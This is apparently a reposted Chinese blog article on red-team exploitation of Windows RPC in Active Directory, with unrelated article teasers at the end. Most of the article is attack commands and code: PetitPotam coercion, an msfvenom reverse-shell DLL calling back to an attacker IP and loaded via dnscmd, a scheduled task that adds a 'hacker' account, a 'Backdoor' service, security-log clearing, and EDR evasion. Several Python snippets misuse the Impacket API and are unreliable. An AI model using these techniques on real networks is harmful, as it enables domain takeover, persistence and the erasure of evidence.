news 2026/4/3 1:57:52

从红队实战角度解析Windows RPC协议的渗透利用技巧

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从红队实战角度解析Windows RPC协议的渗透利用技巧

1. Windows RPC协议基础与红队视角

Windows RPC(Remote Procedure Call)是微软实现的一套进程间通信机制,它允许程序像调用本地函数一样执行远程计算机上的代码。在红队行动中,RPC协议就像一把"万能钥匙"——AD域控、文件服务器、数据库服务等核心系统都依赖RPC进行通信,这使得它成为内网渗透的重要突破口。

我曾在一次实战中遇到这样的情况:通过一个普通的域用户权限,利用RPC协议漏洞在30分钟内就拿到了域控权限。这让我深刻认识到,理解RPC协议的工作机制对红队工程师而言,就像厨师了解火候一样关键。

1.1 RPC协议的三层架构

Windows RPC协议栈可以形象地比作一个快递系统:

  • 应用层:就像寄件人填写快递单,定义要调用的函数(如创建用户、执行命令)
  • MIDL层:类似快递打包站,将参数序列化为NDR(Network Data Representation)格式
  • 传输层:相当于快递运输,支持以下通道:
    - TCP/IP(ncacn_ip_tcp) - SMB命名管道(ncacn_np) - HTTP(ncacn_http) - Local RPC(ncalrpc)

1.2 关键端口与服务

在实战中,这些端口就像攻击面的"地标":

  • 135端口:RPC Endpoint Mapper,相当于服务目录中心
  • 动态端口:49152-65535范围内,实际服务运行端口
  • 445端口:SMB上的RPC调用通道

通过以下命令可以快速定位服务位置:

rpcdump.py 192.168.1.100 | grep -i "MS-TSCH" # 查找任务计划服务

1.3 RPC与AD域的关系

Active Directory中80%的核心功能都依赖RPC协议,比如:

  • 域用户认证(Netlogon服务)
  • 组策略同步(GPO)
  • 域控间数据复制(DRS接口)

在一次红队演练中,我们曾通过PetitPotam漏洞强制域控向我们的服务器发起认证,仅用以下命令就实现了NTLM中继攻击:

python3 petitpotam.py -d demo.com -u user -p pass 192.168.1.1 10.0.0.2

2. RPC信息收集技巧

2.1 服务枚举技术

使用Impacket工具包可以像"雷达扫描"一样发现可用服务:

rpcdump.py 192.168.1.100 | tee rpc_services.txt

典型输出示例:

Protocol: [MS-TSCH] Task Scheduler Provider: taskcomp.dll UUID : 86D35949-83C9-4044-B424-DB363231FD0C v1.0

2.2 网卡信息泄露

通过IOXIDResolver接口可以无需认证获取目标网卡信息,这在定位"跳板机"时特别有用:

from impacket.dcerpc.v5 import transport, ioxidresolver binding = r'ncacn_ip_tcp:192.168.1.100[135]' trans = transport.DCERPCTransportFactory(binding).get_dce_rpc() trans.connect() dce = ioxidresolver.IOXIDResolver(trans) dce.ServerAlive2()

这个技巧曾帮助我们在某次演练中发现了管理员疏忽暴露的双网卡服务器。

2.3 用户与组枚举

当获取到低权限账户后,rpcclient就像一把"万能钥匙":

rpcclient -U 'user%password' 192.168.1.100 -c 'enumdomusers'

输出示例:

user:[Administrator] rid:[0x1f4] user:[SQLService] rid:[0x452]

3. 权限提升实战手法

3.1 MS-SAMR密码修改漏洞

在拿到普通用户权限后,可以通过SAMR接口修改密码(需知道原密码):

from impacket.dcerpc.v5 import samr # 建立SAMR连接 samr_con = samr.SamrConnect2(target_ip) # 打开域账户 user_handle = samr.SamrOpenUser(samr_con, user_rid) # 修改密码 samr.SamrChangePasswordUser(user_handle, old_pw, new_pw)

3.2 DNSAdmin到SYSTEM提权

当用户属于DNSAdmins组时,可以通过加载恶意DLL实现提权:

  1. 生成恶意DLL:
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > evil.dll
  2. 通过RPC配置DNS服务:
    dnscmd.exe /config /serverlevelplugindll \\10.0.0.1\share\evil.dll
  3. 重启DNS服务触发

3.3 计划任务滥用

通过MS-TSCH接口创建隐藏计划任务:

from impacket.dcerpc.v5 import tsch # 创建XML任务定义 xml = """<?xml version="1.0"?> <Task><Actions><Exec> <Command>cmd.exe</Command> <Arguments>/c "net user hacker P@ssw0rd /add"</Arguments> </Exec></Actions></Task>""" # 调用RPC接口 tsch.SchRpcRegisterTask(target_ip, "\\evil_task", xml, 0x2, None, 0)

4. 横向移动高级技巧

4.1 票据传递攻击

当获取到Kerberos票据后,可以通过RPC进行验证:

export KRB5CCNAME=/tmp/admin.ccache python3 wmiexec.py -k -no-pass domain/admin@dc01.demo.com

4.2 打印机漏洞利用

利用MS-RPRN强制认证进行中继攻击:

from impacket.dcerpc.v5 import rprn binding = r'ncacn_np:192.168.1.100[\PIPE\spoolss]' dce = rprn.DCERPC(binding) dce.bind(rprn.MSRPC_UUID_RPRN) dce.call(rprn.RpcRemoteFindFirstPrinterChangeNotificationEx, ...)

4.3 服务控制器滥用

通过MS-SCMR接口远程创建服务:

from impacket.dcerpc.v5 import scmr # 连接服务控制器 scmr_con = scmr.OpenSCManagerW(target_ip) # 创建服务 service = scmr.CreateServiceW(scmr_con, "Backdoor", "Backdoor", lpBinaryPathName="cmd.exe /c calc.exe") # 启动服务 scmr.StartServiceW(scmr_con, service['lpServiceHandle'])

5. 防御规避与反制

5.1 绕过EDR检测

通过直接RPC调用替代常见命令:

  • SamrEnumerateUsersInDomain替代net user
  • NetrShareEnum替代net share

5.2 日志清除技术

通过事件日志RPC接口清除日志:

from impacket.dcerpc.v5 import even dce = even.DCERPC(binding) dce.bind(even.MSRPC_UUID_EVEN) dce.call(even.ElfrClearELFW, "Security")

5.3 隐蔽通道构建

利用RPC over HTTP创建隐蔽通道:

RpcServerUseProtseqEp( L"ncacn_http", RPC_C_PROTSEQ_MAX_REQS_DEFAULT, L"8080", NULL);

在实战中,我曾见过攻击者将RPC流量伪装成正常HTTPS通信,持续潜伏超过6个月未被发现。这提醒我们,防御方必须对RPC流量进行深度行为分析,而不仅仅是端口检测。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/28 21:59:00

MOSS-003-sft-int4:12GB显存玩转开源对话大模型

MOSS-003-sft-int4&#xff1a;12GB显存玩转开源对话大模型 【免费下载链接】moss-moon-003-sft-int4 项目地址: https://ai.gitcode.com/OpenMOSS/moss-moon-003-sft-int4 导语&#xff1a;复旦大学开源的MOSS-003-sft-int4模型将16B参数对话大模型的运行门槛降至12GB…

作者头像 李华
网站建设 2026/3/2 22:32:15

掌握Trello桌面版:解锁团队生产力的完整攻略

掌握Trello桌面版&#xff1a;解锁团队生产力的完整攻略 【免费下载链接】trello-desktop An unofficial trello desktop app. 项目地址: https://gitcode.com/gh_mirrors/tr/trello-desktop Trello桌面应用是一款基于Electron框架开发的跨平台任务管理工具&#xff0c;…

作者头像 李华
网站建设 2026/3/27 22:43:14

探索GNU Radio:解锁软件无线电无限可能的完整指南

探索GNU Radio&#xff1a;解锁软件无线电无限可能的完整指南 【免费下载链接】gnuradio GNU Radio – the Free and Open Software Radio Ecosystem 项目地址: https://gitcode.com/gh_mirrors/gn/gnuradio GNU Radio作为一款免费开源的软件无线电生态系统&#xff0c;…

作者头像 李华
网站建设 2026/4/1 4:23:45

告别教材获取难题:3个秘诀让电子课本下载效率提升10倍

告别教材获取难题&#xff1a;3个秘诀让电子课本下载效率提升10倍 【免费下载链接】tchMaterial-parser 国家中小学智慧教育平台 电子课本下载工具 项目地址: https://gitcode.com/GitHub_Trending/tc/tchMaterial-parser 如何解决教师备课的3大痛点&#xff1f; 每天重…

作者头像 李华
网站建设 2026/3/27 16:25:49

代码自动化工具:从零基础到业务模块生成的效率革命

代码自动化工具&#xff1a;从零基础到业务模块生成的效率革命 【免费下载链接】smart-admin 项目地址: https://gitcode.com/gh_mirrors/smar/smart-admin 在现代软件开发中&#xff0c;代码自动化工具已成为提升开发效率的关键。业务模块生成技术能够将重复的CRUD工作…

作者头像 李华
网站建设 2026/3/16 18:03:34

如何用Video2X实现视频无损放大?超详细实战手册

如何用Video2X实现视频无损放大&#xff1f;超详细实战手册 【免费下载链接】video2x A lossless video/GIF/image upscaler achieved with waifu2x, Anime4K, SRMD and RealSR. Started in Hack the Valley II, 2018. 项目地址: https://gitcode.com/GitHub_Trending/vi/vid…

作者头像 李华